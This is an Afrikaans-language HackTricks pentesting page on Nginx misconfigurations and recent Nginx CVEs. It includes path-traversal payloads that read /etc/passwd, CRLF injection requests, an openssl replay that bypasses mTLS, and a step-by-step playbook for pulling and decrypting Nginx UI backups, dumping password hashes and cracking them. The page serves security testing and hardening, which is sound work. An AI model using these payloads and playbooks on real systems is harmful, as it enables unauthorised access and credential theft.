Nginx

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks

Ontbrekende root location

Wanneer die Nginx-bediener gekonfigureer word, speel die root directive ’n kritieke rol deur die basisgids te definieer waaruit lêers bedien word. Oorweeg die voorbeeld hieronder:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

In hierdie konfigurasie is /etc/nginx as die root directory aangewys. Hierdie opstelling laat toegang toe tot lêers binne die gespesifiseerde root directory, soos /hello.txt. Dit is egter belangrik om daarop te let dat slegs ’n spesifieke location (/hello.txt) gedefinieer is. Daar is geen konfigurasie vir die root location (location / {...}) nie. Hierdie weglating beteken dat die root directive wêreldwyd van toepassing is, wat versoeke na die root path / in staat stel om toegang te kry tot lêers onder /etc/nginx.

’n Kritieke sekuriteitsoorweging spruit uit hierdie konfigurasie. ’n Eenvoudige GET request, soos GET /nginx.conf, kan sensitiewe inligting blootstel deur die Nginx-konfigurasielêer wat by /etc/nginx/nginx.conf geleë is, te bedien. Om die root na ’n minder sensitiewe directory, soos /etc, te stel, kan hierdie risiko verminder, maar dit kan steeds onbedoelde toegang tot ander kritieke lêers toelaat, insluitend ander konfigurasielêers, access logs, en selfs geënkripteerde credentials wat vir HTTP basic authentication gebruik word.

Alias LFI Misconfiguration

In die konfigurasielêers van Nginx is ’n noukeurige inspeksie van die “location” directives nodig. ’n Vulnerability bekend as Local File Inclusion (LFI) kan onbedoeld ingestel word deur ’n konfigurasie wat soos die volgende lyk:

location /imgs {
alias /path/images/;
}

Hierdie konfigurasie is geneig tot LFI-aanvalle omdat die server requests soos /imgs../flag.txt interpreteer as ’n poging om files buite die bedoelde directory te access, wat effektief oplos na /path/images/../flag.txt. Hierdie flaw laat attackers toe om files vanaf die server se filesystem te retrieve wat nie via die web accessible behoort te wees nie.

Om hierdie vulnerability te mitigate, moet die konfigurasie aangepas word om:

location /imgs/ {
alias /path/images/;
}

Meer inligting: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Accunetix toetse:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Onveilige padbeperking

Kyk na die volgende bladsy om te leer hoe om directives soos: te omseil

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Onveilige veranderlike gebruik / HTTP Request Splitting

Caution

Kwesbare veranderlikes $uri en $document_uri en dit kan reggemaak word deur hulle met $request_uri te vervang.

’n regex kan ook kwesbaar wees soos:

location ~ /docs/([^/])? { … $1 … } - Kwesbaar

location ~ /docs/([^/\s])? { … $1 … } - Nie kwesbaar nie (kontroleer spasies)

location ~ /docs/(.*)? { … $1 … } - Nie kwesbaar nie

’n Kwesbaarheid in Nginx-konfigurasie word deur die voorbeeld hieronder gedemonstreer:

location / {
return 302 https://example.com$uri;
}

Die karakters \r (Carriage Return) en \n (Line Feed) dui nuwe lyn-karakters in HTTP requests aan, en hul URL-encoded vorms word voorgestel as %0d%0a. Deur hierdie karakters in ’n request in te sluit (bv. http://localhost/%0d%0aDetectify:%20clrf) na ’n verkeerd gekonfigureerde server, veroorsaak dat die server ’n nuwe header uitreik met die naam Detectify. Dit gebeur omdat die $uri variable die URL-encoded nuwe lyn-karakters decode, wat lei tot ’n onverwagte header in die response:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

Lees meer oor die risiko’s van CRLF injection en response splitting by https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Ook word hierdie technique in hierdie talk verduidelik met sommige vulnerable voorbeelde en dectection mechanisms. Byvoorbeeld, om hierdie misconfiguration vanuit ’n blackbox-perspektief te detect jy kon hierdie requests gebruik:

  • https://example.com/%20X - Enige HTTP code
  • https://example.com/%20H - 400 Bad Request

As dit vulnerable is, sal die eerste terugkeer aangesien “X” enige HTTP method is en die tweede ’n error teruggee aangesien H nie ’n geldige method is nie. So sal die server iets soos die volgende ontvang: GET / H HTTP/1.1 en dit sal die error trigger.

Nog detection examples sou wees:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Enige HTTP code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

Sommige vulnerable configurations wat in daardie talk aangebied is, was:

  • Let op hoe $uri as-is in die finale URL ingestel is
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • Let weer op hoe $uri weer in die URL is (hierdie keer binne ’n parameter)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • Nou in AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

Enige veranderlike

Dit is ontdek dat deur die gebruiker verskafde data onder sekere omstandighede as ’n Nginx-veranderlike hanteer kan word. Die oorsaak van hierdie gedrag bly ietwat ontwykend, maar dit is nie skaars of eenvoudig om te verifieer nie. Hierdie afwyking is uitgelig in ’n sekuriteitsverslag op HackerOne, wat hier bekyk kan word. Verdere ondersoek na die foutboodskap het gelei tot die identifisering van die voorkoms daarvan binne die SSI filter module van Nginx se codebase, wat Server Side Includes (SSI) as die grondoorsaak uitwys.

Om hierdie wanopstelling te detect, kan die volgende command uitgevoer word, wat behels dat ’n referer header gestel word om vir variable printing te toets:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

Skanderings vir hierdie verkeerde konfigurasie oor stelsels het verskeie gevalle onthul waar Nginx-veranderlikes deur ’n gebruiker gedruk kon word. ’n Afname in die aantal kwesbare gevalle dui egter daarop dat pogings om hierdie probleem reg te maak ietwat suksesvol was.

Using try_files with $URI$ARGS variables

Die volgende Nginx-verkeerde konfigurasie kan lei tot ’n LFI-kwesbaarheid:

location / {
try_files $uri$args $uri$args/ /index.html;
}

In ons konfigurasie het ons die directive try_files wat gebruik word om in die gespesifiseerde volgorde vir die bestaan van files te kyk. Nginx sal die eerste een wat dit vind, server. Die basiese sintaksis van die try_files directive is soos volg:

try_files file1 file2 ... fileN fallback;

Nginx sal kyk vir die bestaan van elke lêer in die gespesifiseerde volgorde. As ’n lêer bestaan, sal dit onmiddellik bedien word. As geen van die gespesifiseerde lêers bestaan nie, sal die versoek na die fallback-opsie oorgedra word, wat ’n ander URI of ’n spesifieke foutbladsy kan wees.

Wanneer $uri$args veranderlikes egter in hierdie directive gebruik word, sal die Nginx probeer om te soek vir ’n lêer wat ooreenstem met die request URI gekombineer met enige query string arguments. Daarom kan ons hierdie configuration uitbuit:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

Met die volgende payload:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

Met ons payload sal ons die root directory (gedefinieer in Nginx configuration) ontsnap en die /etc/passwd-lêer laai. In debug logs kan ons waarneem hoe die Nginx die files probeer:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC teen Nginx met die konfigurasie hierbo genoem: Example burp request

Raw backend response reading

Nginx bied ’n kenmerk deur proxy_pass wat die onderskepping van errors en HTTP headers wat deur die backend gegenereer word, moontlik maak, met die doel om interne error messages en headers weg te steek. Dit word bereik deurdat Nginx custom error pages in reaksie op backend errors bedien. Daar ontstaan egter uitdagings wanneer Nginx ’n ongeldige HTTP request teëkom. So ’n request word, soos ontvang, na die backend deurgegee, en die backend se raw response word dan direk na die client gestuur sonder Nginx se ingryping.

Oorweeg ’n voorbeeldscenario wat ’n uWSGI application behels:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

Om dit te bestuur, word spesifieke directives in die Nginx-konfigurasie gebruik:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: Hierdie directive aktiveer Nginx om ’n pasgemaakte response te dien vir backend responses met ’n statuskode groter as 300. Dit verseker dat, vir ons voorbeeld uWSGI application, ’n 500 Error response onderskep en deur Nginx hanteer word.
  • proxy_hide_header: Soos die naam aandui, versteek hierdie directive gespesifiseerde HTTP headers vir die client, wat privaatheid en sekuriteit verbeter.

Wanneer ’n geldige GET request gemaak word, verwerk Nginx dit normaalweg, en gee ’n standaard error response terug sonder om enige geheime headers te onthul. ’n Ongeldige HTTP request omseil egter hierdie meganisme, wat lei tot blootstelling van ru backend responses, insluitend geheime headers en error messages.

merge_slashes set to off

By default is Nginx se merge_slashes directive op on gestel, wat multiple forward slashes in ’n URL saamdruk na ’n enkele slash. Hierdie feature, hoewel dit URL-verwerking stroomlyn, kan onbedoeld vulnerabilities in applications agter Nginx verberg, veral dié wat geneig is tot local file inclusion (LFI) attacks. Security experts Danny Robinson and Rotem Bar het die moontlike risks wat met hierdie default behavior verband hou, uitgelig, veral wanneer Nginx as ’n reverse-proxy optree.

Om sulke risks te verminder, word dit aanbeveel om die merge_slashes directive af te skakel vir applications wat vatbaar is vir hierdie vulnerabilities. Dit verseker dat Nginx requests na die application deurstuur sonder om die URL-struktuur te verander, en dus nie enige onderliggende security issues masker nie.

Vir meer information kyk Danny Robinson and Rotem Bar.

Maclicious Response Headers

Soos getoon in this writeup, is daar sekere headers wat, indien dit in die response van die web server teenwoordig is, die gedrag van die Nginx proxy sal verander. Jy kan hulle in the docs nagaan:

  • X-Accel-Redirect: Gee aan Nginx om intern ’n request na ’n gespesifiseerde location te redirect.
  • X-Accel-Buffering: Beheer of Nginx die response moet buffer of nie.
  • X-Accel-Charset: Stel die character set vir die response wanneer X-Accel-Redirect gebruik word.
  • X-Accel-Expires: Stel die vervaltyd vir die response wanneer X-Accel-Redirect gebruik word.
  • X-Accel-Limit-Rate: Beperk die oordragtempo vir responses wanneer X-Accel-Redirect gebruik word.

Byvoorbeeld, die header X-Accel-Redirect sal ’n interne redirect in die nginx veroorsaak. Dus sal ’n nginx configuration met iets soos root / en ’n response van die web server met X-Accel-Redirect: .env maak dat nginx die inhoud van /.env stuur (Path Traversal).

Default Value in Map Directive

In die Nginx configuration speel die map directive dikwels ’n rol in authorization control. ’n Algemene fout is om nie ’n default value te spesifiseer nie, wat tot unauthorized access kan lei. Byvoorbeeld:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}

server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

Sonder default kan ’n kwaadwillige gebruiker sekuriteit omseil deur toegang te kry tot ’n ongedefinieerde URI binne /map-poc. The Nginx manual beveel aan dat ’n default value ingestel word om sulke probleme te vermy.

DNS Spoofing Vulnerability

DNS spoofing teen Nginx is onder sekere toestande haalbaar. As ’n aanvaller die DNS server ken wat deur Nginx gebruik word en sy DNS queries kan onderskep, kan hulle DNS records spoof. Hierdie metode is egter ondoeltreffend as Nginx gekonfigureer is om localhost (127.0.0.1) vir DNS resolution te gebruik. Nginx laat toe dat ’n DNS server soos volg gespesifiseer word:

resolver 8.8.8.8;

proxy_pass en internal Direktiewe

Die proxy_pass-direktief word gebruik om versoeke na ander bedieners te herlei, hetsy intern of ekstern. Die internal-direktief verseker dat sekere liggings slegs binne Nginx toeganklik is. Alhoewel hierdie direktiewe nie op sigself kwesbaarhede is nie, vereis hul konfigurasie noukeurige ondersoek om sekuriteitsfoute te voorkom.

proxy_set_header Upgrade & Connection

As die nginx-bediener gekonfigureer is om die Upgrade- en Connection-headers deur te gee, kan ’n h2c Smuggling attack uitgevoer word om beskermde/intern eindpunte te bereik.

Caution

Hierdie kwesbaarheid sal ’n aanvaller toelaat om ’n direkte verbinding met die proxy_pass-eindpunt te vestig (http://backend:9999 in hierdie geval) waarvan die inhoud nie deur nginx gekontroleer gaan word nie.

Voorbeeld van kwesbare konfigurasie om /flag van hier te steel:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

Let op dat selfs al was die proxy_pass na ’n spesifieke path wys, soos http://backend:9999/socket.io die verbinding gestig sal word met http://backend:9999 so jy kan enige ander path binne daardie interne endpoint kontak. So dit maak nie saak of ’n path in die URL van proxy_pass gespesifiseer word nie.

HTTP/3 QUIC module remote DoS & leak (2024)

Tydens 2024 het Nginx CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 en CVE-2024-35200 bekendgemaak, wat toon dat ’n enkele vyandige QUIC sessie worker processes kan laat crash of memory kan leak wanneer die eksperimentele ngx_http_v3_module gekompileer is en ’n listen ... quic socket blootgestel word. Geaffekteerde builds is 1.25.0–1.25.5 en 1.26.0, terwyl 1.27.0/1.26.1 die fixes bevat; die memory disclosure (CVE-2024-34161) vereis boonop MTUs groter as 4096 bytes om sensitiewe data te openbaar (besonderhede in die 2024 nginx advisory waarna hieronder verwys word).

Recon & exploitation hints

  • HTTP/3 is opt-in, so scan vir Alt-Svc: h3=":443" responses of brute-force UDP/443 QUIC handshakes; sodra dit bevestig is, fuzz die handshake en STREAM frames met custom quiche-client/nghttp3 payloads om worker crashes te trigger en log leakage af te dwing.
  • Vinnig fingerprint target support met:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

TLS session resumption bypass of client cert auth (CVE-2025-23419)

’n Februarie 2025 advisories het onthul dat nginx 1.11.4–1.27.3 wat met OpenSSL gebou is, hergebruik van ’n TLS 1.3-sessie van een name-based virtual host binne ’n ander toelaat, sodat ’n client wat ’n sertifikaatvrye host onderhandel het die ticket/PSK kan herhaal om in ’n vhost te spring wat met ssl_verify_client on; beskerm word en mTLS heeltemal oorslaan. Die bug word geaktiveer wanneer veelvuldige virtual hosts dieselfde TLS 1.3 session cache en tickets deel (sien die 2025 nginx advisories waarna hieronder verwys word).

Attacker playbook

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

As die teiken kwesbaar is, voltooi die tweede handshake sonder om ’n kliëntsertifikaat voor te lê, wat beskermde liggings blootstel.

Wat om te oudit

  • Gemengde server_name-blokkies wat ssl_session_cache shared:SSL plus ssl_session_tickets on; deel.
  • Admin/API-blokkies wat mTLS verwag maar gedeelde sessions cache/ticket-instellings van openbare hosts erf.
  • Automation wat TLS 1.3 session resumption globaal aktiveer (bv. Ansible roles) sonder om vhost-isolasie te oorweeg.

HTTP/2 Rapid Reset-resiliensie (CVE-2023-44487-gedrag)

Die HTTP/2 Rapid Reset-aanval (CVE-2023-44487) beïnvloed steeds nginx wanneer operators keepalive_requests of http2_max_concurrent_streams bo die defaults opdraai: ’n attacker open een HTTP/2 connection, oorstroom dit met duisende streams, en stuur dan onmiddellik RST_STREAM-rame so die concurrency-plafon nooit bereik word nie terwyl CPU aanhou brand op tear-down logic. Nginx-defaults (128 concurrent streams, 1000 keepalive requests) hou die blast radius klein; om daardie limiete “substantially higher” te skuif maak dit triviaal om workers uit te honger selfs vanaf ’n enkele client (sien die F5 write-up waarna hieronder verwys word).

Detection tips

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Gashere wat buitengewoon hoë waardes vir daardie directives openbaar, is prima teikens: een HTTP/2 client kan deur stream creation loop en onmiddellike RST_STREAM frames stuur om CPU vas te pen sonder om die concurrency cap te aktiveer.

Nginx UI pre-auth backup export + crypto material leakage

Nginx UI is ’n aparte admin panel vir nginx, nie die nginx daemon self nie. In Nginx UI < 2.3.3 kan die backup export endpoint moontlik sonder authentication bereikbaar wees, en die response kan ook die AES-256-CBC key and IV lek wat nodig is om die backup via die X-Backup-Security header te decrypt. Dit verander ’n “encrypted backup download” in onmiddellike credential / token / private-key disclosure.

Fast version fingerprinting from SPA assets

As die login page ’n JS-heavy SPA is, trek die main bundle van / af en kyk vir ’n dedicated version chunk:

curl -s http://admin.example/ | grep -oP 'assets/index-[^"]+\.js'
curl -s http://admin.example/assets/index-<hash>.js | grep -oP 'version[-\\w]*\\.js'
curl -s http://admin.example/assets/version-<hash>.js

Op kwesbare Nginx UI builds gee dit dikwels ’n letterlike string soos const t="2.3.2", wat genoeg is om die kwesbare reeks te pas voordat jy authenticate.

Check exposed API endpoints and pull the backup

Selfs wanneer die meeste /api/* routes 403 teruggee, toets backup-style endpoints direk:

curl -s http://admin.example/api/install
curl -s -D headers.txt -o backup.zip http://admin.example/api/backup
grep -i '^X-Backup-Security:' headers.txt
unzip -l backup.zip

As dit kwesbaar is, bevat X-Backup-Security base64(key):base64(iv). Dekodeer albei waardes en bevestig die verwagte lengtes (32-byte key, 16-byte IV):

KEY_B64='<base64-key>'; IV_B64='<base64-iv>'
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 0)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 0)
unzip backup.zip -d backup
openssl enc -aes-256-cbc -d -in backup/hash_info.txt -out hash_info.txt -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx.zip -out nginx_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx-ui.zip -out nginx-ui_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"

Na dekripsie, inspekteer die herstelde nginx configs en die Nginx UI application data. ’n Algemene post-exploitation pad is:

  • Extract reverse-proxy en vhost details uit nginx_dec.zip
  • Inspekteer nginx-ui_dec.zip vir app.ini, database.db, API tokens, of certificate material
  • Dump die SQLite users table en crack herstelde password hashes offline
unzip nginx-ui_dec.zip -d nginx-ui
sqlite3 nginx-ui/database.db 'select name,password from users;'
hashcat -m 3200 hashes.txt <wordlist>

Hierdie patroon is ook die moeite werd om in ander admin produkte te toets: ’n ongeverifieerde “encrypted” export is steeds plaintext disclosure as die response die dekripsiemateriaal lek of dit saam met die argief stoor.

Probeer dit self

Detectify het ’n GitHub repository geskep waar jy Docker kan gebruik om jou eie kwesbare Nginx toetsbediener met sommige van die misconfigurations wat in hierdie artikel bespreek word op te stel en self te probeer om dit te vind!

https://github.com/detectify/vulnerable-nginx

Static Analyzer tools

gixy-ng & Gixy-Next & GIXY

  • Gixy-Next (’n opgedateerde fork van GIXY) is ’n tool om Nginx configurations te analiseer, met die doel om vulnerabilities, insecure directives, en riskante misconfigurations te vind. Dit vind ook misconfigurations wat performance beïnvloed, en detecteer gemiste hardening opportunities, wat outomatiese flaw detection moontlik maak.
  • gixy-ng (die aktief onderhoude fork van GIXY) is ’n tool om Nginx configurations te analiseer, met die doel om vulnerabilities, insecure directives, en riskante misconfigurations te vind. Dit vind ook misconfigurations wat performance beïnvloed, en detecteer gemiste hardening opportunities, wat outomatiese flaw detection moontlik maak.

Nginxpwner

Nginxpwner is ’n eenvoudige tool om te soek na algemene Nginx misconfigurations en vulnerabilities.

References

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks